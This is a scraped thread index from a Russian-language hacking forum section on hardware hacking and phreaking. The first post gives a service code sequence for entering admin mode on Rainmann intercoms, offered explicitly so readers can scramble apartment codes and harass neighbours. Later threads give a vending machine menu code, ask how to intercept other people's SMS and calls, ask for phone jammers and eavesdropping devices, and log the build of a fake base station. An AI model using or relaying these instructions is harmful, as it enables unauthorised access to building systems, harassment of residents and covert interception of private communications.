Hardware Hacking & Phreaking

Взлом домофона
ID: 676535aeb4103b69df373648
Thread ID: 163
Created: 2005-01-09T23:34:08+0000
Last Post: 2021-07-25T16:55:44+0000
Author: Winux
Replies: 130 Views: 110K

Вообщем я не раз встречался в инете с инструкциями по эксплуатации и настройке домофонов. Оказывается с их помощью можно наделать кучу гадостей соседям или жильцам этого подъезда. Итак, начнем. Нашей целью будет домофон фирмы Rainmann. Эти домофоны немного дешевле всех своих аналогов, поэтому стоят почти везде...

Хакнуть домофон просто:
набираем "КЛЮЧ" и 987654. Услышим двойной звуковой сигнал. Затем набирает 123456. На дисплее появляется буква "P". Все. теперь домофон в нашей власти. Осталось научиться им управлять.
Итак что можно ввести:
1 - расширенная настройка домофона. Нажал и отвали подальше за столб и наслаждайся результатом. После первой попытки в родной подъезд любой дилез загадит систему кодов квартир так, что номера и коды собьются и люди будут звонитиь и попадать не туду куда надо.
2 - Обычная настройка домофона. Тут ты его настраивать будешь вплоть до приезда ментов. Так что лучше не трогай.
3 - Подача сигнала
4 - Блокировка двери на 30 сек
8 - открытие двери

Все, пипец жильцам. Желаю удачи поиздеваться над соседями (Слава богу у меня домофон другой иарки)

Взлом дверных замков
ID: 676535aeb4103b69df37365d
Thread ID: 191
Created: 2005-01-23T13:15:07+0000
Last Post: 2021-04-06T10:09:31+0000
Author: Winux
Replies: 56 Views: 30K

Тут я предлагаю размещать инфу о вскрытии дверных замков, открытии дверей итд.
Виды замков, отмычки, двери итд.

Вообщем у кого есть идеи-пишите. Можно швыряться линками и постить статьи. Кладем что знаем :bad: :bad:

"RF and Hardware security" Библиотека. Ответы на вопросы и совместное изучение.
ID: 676535aeb4103b69df37353d
Thread ID: 28607
Created: 2019-04-05T14:28:50+0000
Last Post: 2024-12-11T22:41:26+0000
Author: utrom
Replies: 39 Views: 26K

Сборная тема, которая будет регулярно обновляться ссылками и наработками в области RF и Аппаратной Безопасности. Фрикинг - очень узкое направление и умирает год от года. С появлением Программного Радио появились и новые возможности, а так же Аппаратный Взлом который развивается семимильными шагами (толи еще будет с IoT). Смело задавайте свои вопросы, буду делиться знаниями, так же не против совместных экспериментов с оборудованием. Знаем - поможем, не знаем - научимся:smile8:

RFSec-ToolKit - это набор Hacktools для протокола радиочастотной связи на платформе GitHub, обновляемые блоги, а также собраные видео реализации атак на YouTube, включая SDR, 2G GSM, 3G, 4G LTE, 5G, NFC & RFID, ZigBee и так далее.

SDR-SoftWare

GQRX: программно определяемый радиоприемник, работающий на GNU Radio и Qt

SDRSharp: Airspy - это популярный и доступный коммуникационный приемник на основе SDR (с программным обеспечением радиосвязи), обладающий высочайшей производительностью и минимальным форм- фактором Это серьезная альтернатива как для чувствительных к стоимости, так и для высокопроизводительных сканеров, в то же время демонстрируя лучший опыт просмотра радиосигналов на рынке благодаря тесной интеграции со стандартным де-факто программным обеспечением SDR #. @ Airspy_com

SDR_Console: SDR-Radio.com - это консоль Windows для программно-определяемых радиоприемников (SDR) и приемопередатчиков. Разработанное для коммерческих, правительственных, любительских радио и сообществ слушателей коротких волн, программное обеспечение предоставляет мощный интерфейс для всех пользователей SDR

HDSDR: - бесплатная программа с программным обеспечением для радио (SDR) для Microsoft Windows 2000 / XP / Vista / 7/8 / 8.1 / 10

CubicSDR: Cross-Platform Software- Defined Radio Application

sdrangel: программное обеспечение SDR Rx / Tx для Airspy, BladeRF, HackRF, LimeSDR, RTL-SDR, SDRplay RSP1 и FunCube

shinysdr: Программное приложение для радиоприемника, построенное на GNU Radio с веб-интерфейсом и плагинами. В разработке пригодный для использования, но неполный. Совместим с RTL-SDR

openwebrx: многопользовательское ПО SDR с открытым исходным кодом и веб-интерфейсом.

luaradio: легкая, встраиваемая программно-определяемая радиосистема, построенная на LuaJIT

qspectrumanalyzer: анализатор спектра для нескольких платформ SDR (графический интерфейс на основе PyQtGraph для soapy_power, hackrf_sweep, rtl_power, rx_power и других серверных частей)

PandwaRF: инструмент радиочастотного анализа с беспроводным приемопередатчиком частотой менее 1 ГГц, управляемый смартфоном

rpitx: РЧ передатчик для Raspberry Pi. rpitx

pifm: Включение Raspberry Pi в FM-передатчик

rpidatv: - это цифровой телевизионный передатчик для Raspberry Pi (B, B, PI2, PI3, Pizero), который выводится непосредственно в GPIO

PSDR:PortableSDR - автономный высокочастотный программно-определяемый трансивер

gr-cc11xx: GNU Radio OOT модуль для связи с устройствами на основе TI CC11xx

spektrum: - это программное обеспечение для анализа спектра для использования с rtl-sdr

OpenUSRP: using LimeSDR to simulate USRP B210, OpenUSRP can using LimeSDR to simulate USRP B210 Device

kalibrate-rtl: использование частотного сканера GSM и калькулятора смещения частоты с устройствами rtl-sdr

kalibrate-hackrf: kalibrate for hackrf

kalibrate-bladeRF: kalibrate for bladeRF

GNURadio:GNU Radio is a Free & Open- Source Toolkit for Software Radio GNURadio.org

Universal Radio Hacker: это программа для исследования неизвестных беспроводных протоколов

gr-recipes : главный репозиторий GNU Radio для использования с PyBOMBS

gr-etcetera: в этом хранилище хранятся дополнительные рецепты для GNU Radio

RangeNetworks/dev: набор инструментов, которые делают работу с многочисленными программными компонентами максимально безболезненной

OpenBTS: узел сети радиодоступа GSM GPRS (БС)

YateBTS: представляет собой программную реализацию сети радиодоступа GSM / GPRS на основе Yate и совместима с базовыми сетями GSM / GPRS SS7 MAP и LTE IMS, интегрированными в наш сервер унифицированной базовой сети YateUCN. (БС)

OpenLTE: - это реализация спецификаций LTE 3GPP с открытым исходным кодом. Основное внимание уделяется передаче и приему нисходящей линии связи.

OpenBTS-UMTS: узел сети радиодоступа 3G UMTS

Cellular Infrastructure: это группа программ Osmocom, реализующая компоненты инфраструктуры сотовой сети для GSM, GPRS, EDGE, UMTS, HSPA, LTE и связанных с ними интерфейсов и стеков протоколов. [360 Unicorn Team's Demo](https://osmocom.org/projects/cellular-infrastructure/wiki/Accelerate3g5_ --_unicornteam)

OpenBSC: это проект, направленный на создание свободного программного обеспечения, (A) лицензированных GPL реализаций программного обеспечения для стеков и элементов протокола GSM / 3GPP.

OsmoBTS: - это GSM BTS с открытым исходным кодом (базовая приемопередающая станция) с интерфейсом A-bis / IP

srsLTE: - это бесплатная LTE-библиотека с открытым исходным кодом для SDR UE и eNodeB, разработанная SRS

srsUE: - программное обеспечение LTE UE, разработанное SRS. Он написан на C и основан на библиотеке srsLTE

srsGUI: - бесплатная графическая библиотека с открытым исходным кодом для SDR, использующая Qt и Qwt. Библиотека предоставляет ряд полезных графиков для построения графиков действительных и комплексных чисел

IMDEA-OWL: OWL означает Online Watcher of LTE. imdeaOWL - это бесплатный декодер канала управления LTE с открытым исходным кодом, разработанный IMDEA Networks Institute и основанный на srsLTE, библиотеке LTE для SDR UE и eNodeB, разработанной SRS

OpenAirInterface: OpenAirInterface Software Alliance является некоммерческим консорциумом по разработке экосистемы для разработки программного / аппаратного обеспечения с открытым исходным кодом для базовой сети, а также для сети доступа и пользовательского оборудования (EUTRAN) сотовых сетей 3GPP

OpenAirInterface5G: беспроводная реализация Openairinterface 5G

LTE Base Station Software: позволяет создать настоящую базовую станцию LTE 4G (называемую eNodeB), используя стандартный ПК и недорогой программный интерфейс. Вся обработка на физическом и протокольном уровнях выполняется в режиме реального времени внутри ПК, поэтому не требуется никакого специального оборудования LTE. <https://www.amarisoft.com/products- lte-ue-ots-sdr-pcie/#software>

OsmocomBB: - это реализация программного обеспечения с открытым исходным кодом GSM. Он намерен полностью заменить необходимость в фирменном программном обеспечении GSM в полосе пропускания

gr-gsm: блоки Gnuradio и инструменты для приема GSM-передач

gr-lte: проект gr-lte представляет собой пакет программного обеспечения с открытым исходным кодом, целью которого является обеспечение приемника GNU Radio LTE для приема, синхронизации и декодирования сигналов LTE.

LTE-Cell-Scanner: OpenCL, SDR, TDD/FDD LTE cell scanner, full stack from A/D samples to SIB ASN1 messages decoded in PDSCH, (optimized for RTL-SDR HACKRF and BladeRF board)

gps-sdr-sim: генерирует потоки данных сигнала основной полосы GPS, которые могут быть преобразованы в RF с использованием программно-определяемых радиопередач (SDR), таких как bladeRF, HackRF и USRP

gr-fosphor: блок GNURadio для визуализации спектра с использованием графического процессора

gr-nordic: блок GNU и диссектор Wireshark для протокола Nordic Semiconductor nRF24L Enhanced Shockburst

gr-lora: блок GNU Radio OOT, реализующий LoRa PHY

gr-ieee802-11: приемопередатчик IEEE 802.11 a / g / p для GNU Radio, предназначенный для работы с Ettus N210s и B210s

gr-keyfob: трансивер для беспроводных автомобильных ключей Hella

gr-rds: Приемопередатчик FM RDS / TMC

gr-radar: GNU Radio Radar Toolbox

gr-air-modes: реализует программный радиоприемник для сигналов приемоответчика режима S, включая отчеты ADS-B от оборудованного воздушного судна

gr-ais: Декодер автоматической информационной системы для судовых сообщений о местоположении для проекта Gnuradio

gr-dvbt: реализация DVB-T в gnuradio

spectrum_painter: инструмент для преобразования изображений в потоки IQ, которые выглядят следующим образом при просмотре на графике водопада

gr-paint: OFDM Spectrum Painter для GNU Radio Учебное пособие

gr-baz: Коллекция новых блоков для GNU Radio

Environment Build Tools

HomeBrew missing package manager for macOS

MacPort MacPorts Project is an open-source community initiative to design an easy-to-use system for compiling, installing, and upgrading either command-line

Pybom:PyBOMBS (Python Build Overlay Managed Bundle System) is the new GNU Radio install management system for resolving dependencies and pulling in out-of-tree projects.

RFSignal Reverse Tools

Audacity: Audacity® is free, open source, cross-platform audio software for multi-track recording and editing

Baudline: это частотно-временной браузер, разработанный для научной визуализации спектральной области. Анализ сигналов выполняется с помощью Фурье, корреляции и растровых преобразований, которые создают красочные спектрограммы с яркими деталями

Inspectrum: - это инструмент для анализа захваченных сигналов, в основном от программно-определяемых радиоприемников

Dspectrum: Автоматический анализ сигналов RF / SDR [обратный инжиниринг]

rtl_433: Приложение, использующее librtlsdr для декодирования температуры с беспроводного датчика температуры

ooktools: инструменты включения и выключения для вашей SD-arrrR leonjza.github.io

TemperestSDR: репозиторий gr- temperest.

YouTuBe Video Tutorial

Sylvain Munaut: osmo-gmr: What's up with sat-phones ?

DeepSec 2010 OsmocomBB A tool for GSM protocol level security analysis of GSM networks

DeepSec 2010: Targeted DOS Attack and various fun with GSM Um by Sylvain Munaut

UnicornTeam of Ir0nSmith http://v.qq.com/vplus/9427cc31bad2413591069f1800862a96

Roberto Nóbrega: Michael Ossmann Software Defined Radio with HackRF )https://www.youtube.com/user/liquen17/playlists

Hardware Hacking By Samy Kamkar https://www.youtube.com/user/s4myk

GNURadio: GRCon [https://www.youtube.com/channel/UCceoapZVEDCQ4s8y16M7Fng] (https://www.youtube.com/channel/UCceoapZVEDCQ4s8y16M7Fng)

Balint256:GNU Radio Tutorial Series、Cyberspectrumhttps://www.youtube.com/user/balint256

Crazy Danish Hacker: https://www.youtube.com/channel/UClg0eyJTbAZaYuz3mhwfBBQ/playlists

Ettusresearch https://www.youtube.com/user/ettusresearch/feed

Anders Brownworth Well Tempered HackerOpenBTS https://www.youtube.com/playlist?list=PL892EE6BB9D10192F

Gareth's SDR Tutorial https://www.youtube.com/channel/UCYJO5ecRhbWARNcsDIFffPg

Software Defined Radio Academy https://www.youtube.com/channel/UC1GAlgAQrkjeeLmIkCB8pgQ

雪碧 0xroot's SDR Hacking https://www.youtube.com/channel/UCVc4stniRjRfOi1eY-0Ij2Q

Radio Hacking: Cars, Hardware, and more! - Samy Kamkar - AppSec California 2016

26C3: Using OpenBSC for fuzzing of GSM handsets

27c3: SMS-o-Death

27c3: Wideband GSM Sniffing

28c3: Introducing Osmo-GMR

29C3: Further hacks on the Calypso platform

[FOSDEM 2014] osmocom: Overview of our SDR projects

Twitter &WEB Site

@rtlsdrblog [RTL-SDR.com](http://rtl- sdr.com)

Wireless frequency bands: Frequency / Arfcn caculator for LTE, UMTS, GSM and CDMA, and Carrier Aggregation combination info

@scateu HackRF.NET

@AndrewMohawk andrewmohawk.com

@bastibl bastibl.net

@csete OZ9AEC Website

@samykamkar Samy Kamkar

@cn0Xroot cn0xroot.com spriteking.com

@fairwaves fairwaves

@gareth__ Gareth codes

@mpeg4codec ICE9 Blog

@marcnewlin Marc Newlin

@drmpegW6RZ

@CrazyDaneHacker Crazy Danish Hacker

jxjputaoshuJiao Xianjun (BH1RXH)'s tech blog

@bastillenet Bastille

@embeddedsec

@RadioHacking

@elasticninja

@devnulling

@uber_security

@TresActon

@Kevin2600

@BE_Satcom

@lucasteske

@giorgiofox

@xdzou

@090h

@rfspace

@mobios

@lambdaprog

@Marcus Mengs

@Azeria

@WHID Injector

@B1N2H3X

Ruten.proteus

NFC &RFID Resources
HardWare

ProxMark3: - это мощный RFID- инструмент общего назначения, размером с колоду карт, предназначенный для отслеживания, прослушивания и эмуляции всего - от низкочастотных (125 кГц) до высокочастотных (13,56 МГц) меток

ACR122U

SoftWare

miguelbalboa/rfid: библиотека Arduino для MFRC522 и других модулей на основе RFID RC522

RFIDIOt: библиотека и инструменты Python RFID / NFC

RFIDler:RFIDler - программно- определяемый считыватель / запись / эмулятор RFID (LF)

Tutorial

cn0xroot.com

FreeBuf.com

BLE Resources
HardWare

Ubertooth: поставляется с анализатором BLE (Bluetooth Smart) и может прослушивать некоторые данные из соединений Bluetooth Classic Rate (BR) Classic

TI CC2540: - это экономичная, энергосберегающая настоящая система на кристалле (SoC) для приложений с низким энергопотреблением Bluetooth
Программного обеспечения

SoftWare

TI PACKET-SNIFFER: - это программное приложение для ПК, которое может отображать и хранить радиопакеты, захваченные RF-устройством прослушивания. Устройство захвата подключается к ПК через USB. Различные протоколы. http://www.ti.com/tool/packet-sniffer

libbtbb: библиотека декодировани Bluetooth

crackle: использует уязвимость в процессе сопряжения BLE, которая позволяет злоумышленнику угадать или очень быстро перебить TK (временный ключ). С помощью TK и других данных, собранных в процессе сопряжения, можно собрать STK (краткосрочный ключ) и позднее LTK (долгосрочный ключ).

spectool: - это набор утилит для использования различного оборудования анализатора спектра. Он поддерживает набор устройств Wi-Spy (оригинальные, 24x, 24x2, DBX, DBX2, 900, 24i) от Metageek LLC и Ubertooth. В состав Spectools входят драйверы пользовательского пространства для самого оборудования, графический пользовательский интерфейс GTK и Cairo, сетевые протоколы для захвата удаленных устройств и простые утилиты для разработки дополнительных инструментов.

spectool-web: веб-просмотрщик для данных спектра WiSPY и Ubertooth

[gatttool](http://www.jaredwolff.com/blog/get-started-with-bluetooth-low- energy): Get Started with Bluetooth Low Energy on Linux

hcitool: используется для настройки Bluetooth-соединений и отправки специальной команды на устройства Bluetooth

BLE-Security: скрипты взлома дверей Bluetooth, которые требуют Ubertooth или других устройства

BLESuite: то пакет Python, который предоставляет более простой способ тестирования устройства Bluetooth с низким энергопотреблением (BLE) (группа NCC)

BLESuite-CLI: инструмент командной строки, позволяющий упростить тестирование устройств Bluetooth с низким энергопотреблением (BLE)

BLE-Replay: инструмент оценки периферийных устройств Bluetooth с низким энергопотреблением (BLE)

Blue-Hydra Служба обнаружения устройств Bluetooth Blue-Hydra, созданная поверх библиотеки bluez. BlueHydra использует ubertooth, где это возможно, и пытается отслеживать как классические, так и низкоэнергетические (LE) устройства Bluetooth с течением времени

BTLEJuice: это полноценная платформа для выполнения атак «человек посередине» на интеллектуальные устройства Bluetooth (также известные как Bluetooth Low Energy).

wireshark: самый популярный в мире анализатор сетевых протоколов.

Tutorial

[BLE Hacking:ble scan and sniffer withu bertooth- one](https://cn0xroot.com/2016/06/12/ble-hacking%EF%BC%9Able-scan-and-sniffer- withubertooth-one/)

[Ubertooth – Bluetooth Sniffing Updated for 2014](https://penturalabs.wordpress.com/2014/02/20/ubertooth-updated- for-2014/)

[Spectrum Tools and Ubertooth One](https://hackerific.net/2012/01/28/Spectrum- Tools-and-Ubertooth-One/)

BLE Fun With Ubertooth: Sniffing Bluetooth Smart and Cracking Its Crypto

[Ubertooth Spectrum Analysis (Kali/Chromebook)](https://www.splitbits.com/2014/05/14/ubertooth-spectools- chromebook/)

[Sniffing/logging your own Android Bluetooth traffic](http://stackoverflow.com/questions/23877761/sniffing-logging-your- own-android-bluetooth-traffic)

[Installing the Ubertooth One on BT5](http://www.backtrack- linux.org/forums/showthread.php?t=41552)

#Thanks

Axilirator

@vileer_com

@cn0Xroot:smile12::smile12::smile12:

взлом аппарата оплаты сотовой связи
ID: 676535aeb4103b69df373633
Thread ID: 16425
Created: 2008-12-02T13:45:20+0000
Last Post: 2021-12-03T16:37:29+0000
Author: aggressor
Replies: 54 Views: 24K

как можно ламонуть аппараты оплаты сотовой связи. а?
и вообще воз можно ли?
:help:

FM-киллер
ID: 676535aeb4103b69df3736d7
Thread ID: 9151
Created: 2006-06-10T19:00:06+0000
Last Post: 2006-10-23T13:45:56+0000
Author: Spawn™
Replies: 57 Views: 23K

FM-киллер - устройство в кармане

Арт-группа "Куда бегут собаки" (Екатеринбург) сегодня продемонстрировала в действии свой сенсационный авторский артдевайс - карманную глушилку для FM- диапазона. Незаменима в такси, кафе и прочих публичных российских местах. Себестоимость устройства - 10 долларов.

Подробности об устройстве - под катом.

Проект «Антишансон».

«Антишансон» – индивидуальное мобильное устройство для защиты и активного противодействия вмешательству нежелательной информации из радио-эфира (ПМРГ- персональная мобильная радио-глушилка ). Позволяет незаметно глушить выбранную радиочастоту, путем создания гармонической радиопомехи в заданном диапазоне. Устройство имеет кнопку включения радиопомехи «ВЫКЛ FM» и ручку подстройки частоты.

Тактико-технические характеристики.

Диапазон частот: 88-108МГц (FM)
Радиус действия: 5-10м
Напряжение питания: 9V
Время непрерывной работы: 15 часов.
Габаритные размеры: 35х50х25

Демонстрация АНТИ-ШАНСОНА проходила 10 июня 2006 на завершении Летнего лагеря художников в Айзпуте, Латвия.

10lab [at] mail.ru Алексей Корзухин

ой

Автоматы С Напитками
ID: 676535aeb4103b69df3736f5
Thread ID: 3635
Created: 2005-04-27T19:28:07+0000
Last Post: 2006-01-28T12:20:12+0000
Author: Winux
Replies: 50 Views: 22K

У нас в городе везде понатыканы всякие автоматы с жопа - колой. Мне в башку даже не приходило что их можно обмануть, однако в апрельском Хакере а рубрике HACQ FAQ написано что типа это возможно.
Теоритически есть следующий код для попадания в меню автомата: набираем 4-2-3-1 на передней панели и таким образом попадаем в меню. Первая клавиша - верхняя. Далее попав в меню можно выбрать:
- Cash (Кол-во накопленного кэша в аппарате)
- Sale (Скока напитков продано)
- VER (Версия ПО)
- EXTRAS (Тут статистика типа температуры и т.д.)
- ERROR (Инфа об ошибках автомата)

А собственно как достать водичку - там не написано. если кто узнает - пишите.
Чтото типа "Расфигачить автомат динамитом или кувалдой" не принимаются.
Жду умных мыслей.

Перехват тефонных разговоров
ID: 676535aeb4103b69df3736ef
Thread ID: 5043
Created: 2005-10-05T16:30:09+0000
Last Post: 2006-04-23T08:17:38+0000
Author: kidnder surpsise
Replies: 41 Views: 18K

Кто знает как осуществить перехват поделитесь!

Такси
ID: 676535aeb4103b69df3736d8
Thread ID: 50
Created: 2004-11-29T20:12:18+0000
Last Post: 2006-10-19T21:30:39+0000
Author: Ralf
Replies: 35 Views: 18K

Ехал в такси недавно, это было весело, кто то на частоте таксишной радиостанции прикалывался... его все таксисты и диспетчеры лают, обещают вычислить а он еще больше шумит )
Мне вот интересно, реально вообще такого шутника вычислить?

простая глушилка для мобил
ID: 676535aeb4103b69df3736bd
Thread ID: 16030
Created: 2008-10-22T11:01:14+0000
Last Post: 2010-12-25T05:13:27+0000
Author: aggressor
Prefix: GSM
Replies: 45 Views: 17K

думаю из названия темы догадались че мне надо
З.Ы. над друзьями поугарать охота
:D

Интересные "хакерские" девайсы
ID: 676535aeb4103b69df373602
Thread ID: 27870
Created: 2019-02-14T16:46:55+0000
Last Post: 2022-12-12T02:10:11+0000
Author: tabac
Replies: 47 Views: 17K

Предлагаю собирать тут интересные "хакерские" устройства, их сейчас великое множество, не только правильно собранный Raspberry Pi с PwnPi на борту
давайте делиться линками и коротким описанием ;)

Реально ли расширить радиус приёма WiFi сетей.
ID: 676535aeb4103b69df37366f
Thread ID: 19787
Created: 2010-06-06T20:15:50+0000
Last Post: 2020-11-02T13:42:02+0000
Author: Stifler
Prefix: WiFi
Replies: 34 Views: 16K

Можно ли расширить както радиус приёма вайфай сетей ? Не усиливая саму точку, а намутя чтото с приёмником\ми.

SMS
ID: 676535aeb4103b69df37369c
Thread ID: 9941
Created: 2006-07-16T18:17:52+0000
Last Post: 2019-07-07T19:11:16+0000
Author: maks
Replies: 28 Views: 15K

мне срочно нужна помощь. дело в том что мне надо перехватить чужие СМС сообщения.как это можно сделать,если вообще реально? я живу в Латвии и мне надо сообщения операторов LMT и TELE2. Заранее спасибо

Использование телефонных карт 2 раза
ID: 676535aeb4103b69df3736ea
Thread ID: 6181
Created: 2005-12-27T08:33:09+0000
Last Post: 2006-06-18T10:30:06+0000
Author: Winux
Replies: 30 Views: 15K

Итак, прошла следующая инфа:
можно 2 раза юзать телефонные карты с чипом.
Для этого потребуется карточка с каким либо кол-вом единиц.
Используем ее чтоб осталось 1 единица. Далее прикрепляем скотчем к телику на 2-3 дня. Восстанавливается около 50% единиц.
Дерзайте.

Шпионаж через анализ излучения монитора
ID: 676535aeb4103b69df373619
Thread ID: 27431
Created: 2019-01-23T10:55:16+0000
Last Post: 2022-06-25T12:22:07+0000
Author: tabac
Replies: 24 Views: 15K

Шпионаж через анализ излучения монитора

Методы кражи пароля через анализ излучения монитора существуют.

В пример приводилось видео, где звук, генерируемый изображением монитора, принимался на радиоприемник. Я нашел оригинал демонстрации и предлагаю вам познакомиться с ним. Автор в своем видео подробно и понятно излагает технические детали атаки, и нет никакого смысла дублировать их в тексте.

Есть некоторые нюансы, на которые я хочу обратить ваше внимание. Технология сбора данных на основе анализа излучения монитора при хорошем оборудовании позволяет следить за активностью на компьютере жертвы на расстоянии, например, следить за соседями. Атакующий при помощи данного метода может распознать на компьютере жертвы такую активность, как просмотр материалов для взрослых, просмотр футбольного матча или запуск компьютерной игры.

Этим способом можно получить данные для дальнейшей атаки, например: версию операционной системы, используемые программы и посещаемые сайты. Анализируя поведение жертвы, можно оценить степень ее компетентности.

Но качество существующих решений не позволяет таким образом читать переписки или красть пароли, даже если они записаны в текстовом документе. Исключение составляют пароли, записанные в документе огромным шрифтом, но это, скорее, исключение.

Вот скриншот автора видео. Как вы видите, качество достаточно, чтобы понять, чем занят пользователь, но недостаточно, чтобы прочесть его переписки.

Так или иначе, вам стоит знать и помнить о данной атаке. Защита от нее – это вопрос создания радиопомех, и он лежит вне курса. При желании на тематических форумах и сайтах вы найдете подробные инструкции.

(с) cyberyozh

Как взломать автомат который продает колу?
ID: 676535aeb4103b69df3736be
Thread ID: 18959
Created: 2010-01-31T17:11:16+0000
Last Post: 2010-12-07T19:23:20+0000
Author: Crack#39;eron
Replies: 13 Views: 13K

Собстенно сабж. Иногда проходишь мимо такого робота и колы хочеться да и нахаляву.Правда иногда бывает даешь автомату деньги, а он тебе ни колы ни денег. Колы все таки попить хочеться, а воровать из супермаркета не прилично) :)

Прошивки на кодграббер
ID: 676535aeb4103b69df37362c
Thread ID: 30004
Created: 2019-06-27T05:19:20+0000
Last Post: 2021-12-23T14:15:04+0000
Author: Nil$
Replies: 35 Views: 13K

Нет ли у кого прошивки GrabOS под пандору, либо 2.5
Могу поделиться 2.4
В принципе есть разные версии под несколько типов авто брелков.

SMS-перехватчик
ID: 676535aeb4103b69df37357e
Thread ID: 69789
Created: 2022-07-07T14:50:31+0000
Last Post: 2024-03-25T13:14:19+0000
Author: gliderexpert
Prefix: GSM
Replies: 118 Views: 12K

Решил собрать новую версию эмулятора базовой станции.
Фотографии буду выкладывать в процессе сборки. Может кто увидит что-то полезное для себя )

IMG_20220707_170024.jpg

На фото, слева направо
1( высокооборотистые вентиляторы системы охлаждения (суммарное тепловыделение системы около киловатта)
2) СВЧ усилитель
3( настраиваемый антенный фильтр на объемных резонаторах
4) в маленькой алюминиевой коробке-
предусилители приемника (LNA);
предусилители передатчика;
управляемые аттенюаторы как на приемные каналы, так и на передающие;
селективные программно-управляемые полосовые фильтры;
2 управляемых ферритовых фазовращателя;
защитные цепи;
5)сверху всей конструкции - 2 SDR'a , немного модифицированные по ВЧ части и с сильно модифицированной прошивкой их ПЛИС (FPGA)

Update:
Обновление проекта, спустя год - в этом сообщении.

где скачать на телефон root права
ID: 676535aeb4103b69df373689
Thread ID: 28787
Created: 2019-04-14T14:01:56+0000
Last Post: 2020-05-14T15:07:00+0000
Author: egorcat1337
Replies: 36 Views: 12K

где скачать на телефон root права

Прибор прослушивания на расстоянии
ID: 676535aeb4103b69df3736f2
Thread ID: 5222
Created: 2005-10-19T22:06:32+0000
Last Post: 2006-03-25T09:56:47+0000
Author: KOT
Replies: 23 Views: 12K

Этот прибор реально вмещается в коробочку, объемом меньшим , чем спичечный коробок. Также присутствует вход для наушников, кнопочка для включения прибора.
Так вот мой одногруппник ***** его так :angry2: может прослушивать разговор людей (2-х например) на расстоянии где-то 15 метров.
Я хотел узнать хоть-что у своего одногруппника но он оказался полным :shit:
Может у кого из форумчан есть схемы или вообще хоть какая-нить инфа , о том как можно сделать такое устройство?

Телефон невидимка (для защиты от прослушки, кетчеров, смена IMEI и т.д.)
ID: 676535aeb4103b69df37353f
Thread ID: 79690
Created: 2023-01-10T21:38:38+0000
Last Post: 2024-12-18T16:08:58+0000
Author: swap3r
Prefix: GSM
Replies: 89 Views: 11K

Не знаю можно ли критиковать в продажных темах, но все же напишу.
Очень много букв и часть, увы не будет соответстввовать действительности и реалиям
Хотя, без сомнений, что часть из описанного будет работать и предоставлять некоторый уровень защиты.
Видел это описание много лет назад на тематических форумах и другие инженерные решения авторов и в них было много чего инновативного и полезного, но это далеко не панацея, особенно в следствии эволюции сетей связи )
Вы далеко не о всех аспектах работы операторов и СОРМа в курсе ))
Ниже несколько вопросов для размышлений.
1. Предположим о получении сайлентсмс с нестандартным pid (вроде так называется), ваша балалайка с некоторой долей вероятности и предупредит (хоть какая-то защита от примитивных кетчеров)).
А если я прошаренный злоумышленник и у меня есть реальный имси жертвы (откуда в рамках данного обсуждения неважно, кто в теме, тот знает) , то мне абсолютно не надо извращаться и слать жертве "нулевые" смски. Каков толк с этого девайса в таком случае?
2. Каким образом Ваш телефон защитит от ss7 атак? Покажет, что по имси симкарты в телефоне отправлялись мап запросы?? )))
3. Каким образом Ваш телефон защитит от СОРМа?
4. по поводу имея и классмарка, почитал етси, вот не уверен, что кто-то в операторов сейчас оперирует понятием классмарк. но спорить не буду, описано красиво, стандартам соответствует.

Купил уран на ebay.
ID: 676535aeb4103b69df37355e
Thread ID: 96029
Created: 2023-08-19T02:00:15+0000
Last Post: 2024-08-27T19:52:59+0000
Author: gliderexpert
Prefix: GSM
Replies: 65 Views: 11K

0.jpg
Давно есть в планах закупить в личную лабу немножко урана и плутония, для использования сугубо в мирных целях. Начал я поиски естественно в интернете - чтобы заказать с доставкой на дом, ибо свинцовые контейнеры слишком тяжелы для "самовывоза".
Но увы - куки браузера оказались давно отравлены моим паталогическим интересом к GSMу, и EBAY на запрос "уран купить " выдал мне это:

URAN-1 Kit - 52Mhz USRP based OpenBTS SDR GSM Base Station
1.png

USRP за 100$ ? Адаптивные алгоритмы ебея взломали мой мозг, личная жаба, контролирующая бюджет на всякие ненужные железки - улетела в unhandled exception error и кнопка "Buy It now" была нажата.

Пока посылка телепортировалась силами добра в страну вечных ссанкций, у меня было достаточно времени изучить конструкцию и предлагаемый софт.

3.pngНебольшой экскурс в историю. У китайцев одно время был очень популярен SMS спам с фейковых базовых станций. Суть такая - дроп покупает БСку примерно за 2000$, ставит ее на машину или мопед (под сиденье) и катается с ней по городу. За это дропу платят примерно 300$ каждый рабочий день. БСка подключена к интернету и в нее "снаружи" через RDP можно загружать рекламные тексты, которые рассылаются через GSM сеть в радиусе 500м-1км вокруг дропа-БСконосца.
Так как отправка сообщений идет естественно мимо оператора, напрямую в телефон

  1. СМС бесплатны
  2. оператор не может блочить спам и вообще не при делах
  3. владелец БС может подставлять абсолютно любое имя отправителя. Хоть SuperChinaBank , хоть 666, Mom, да что угодно.

bs1.png
Сначала данная тема раскручивалась туго и со скрипом. БСки покупали в основном владельцы небольших магазинов и ресторанчиков, чтобы уведомлять проходивших мимо "потенциальных покупателей" - о своем существовании, а так же акциях, скидках и прочем рекламном дерьме.
7.png 6.png
Потом видимо о прелестях "прямого" смс спама узнала темная сторона китайского мира - и в ход пошел фишинг, скам, отправка ссылок на малварь от имени банков. Количество дропов-БСконосцев в сети рассылки спама достигло нескольких тысяч, а телефоны стали просто взрываться от количества СМСок - они приходили сотнями в день! И это никак не блокировалось, в том числе средствами телефона (о да, есть такой особый формат смс который вызывает алерт даже у телефона в silent режиме). Дропы не всегда знали что рассылают - текст в большинстве случае подгружался "снаружи" через "удаленный рабочий стол".
На фото ниже - комплект для автомобиля. Были еще маленькие, для скутеров и велосипедов - если найду фотку, прикреплю сюда. Серая коробка под ноутом - БСка. Телефон - включается в режим netmonitor и показывает частоту на которую нужно настроить БСку ее владельцу/дропу.
2.png

В итоге спустя недолгое время через эту сеть фейковых БСок стали рассылать банкботов. Естественно, посыпались жалобы от банков в огромном количестве - это не могли не заметить мусора и лавочку довольно быстро прикрыли. Поймали 1500 дропов возивших БСки и закрыли производство "железа" - фирмы занимающиеся массовой смс рекламой, существовали легально и были официально зарегистрированы !
4.png
//на фото выше - китайский мент немножко охуевлён толщиной антенного кабеля )) 1/4 superflex джампер однако, я бы тоже наверно охуел если бы сам такой не использовал.

Удивительно, что данное природное явление с СМС спамом через фейковые БС наблюдалось только в Китае. Думаю, рано или поздно подобная тема "стрельнет" где-нибудь в Европе или СНГ/РУ, уверен что это лишь вопрос времени. Слишком уж много возможностей для распространения малвари дает...

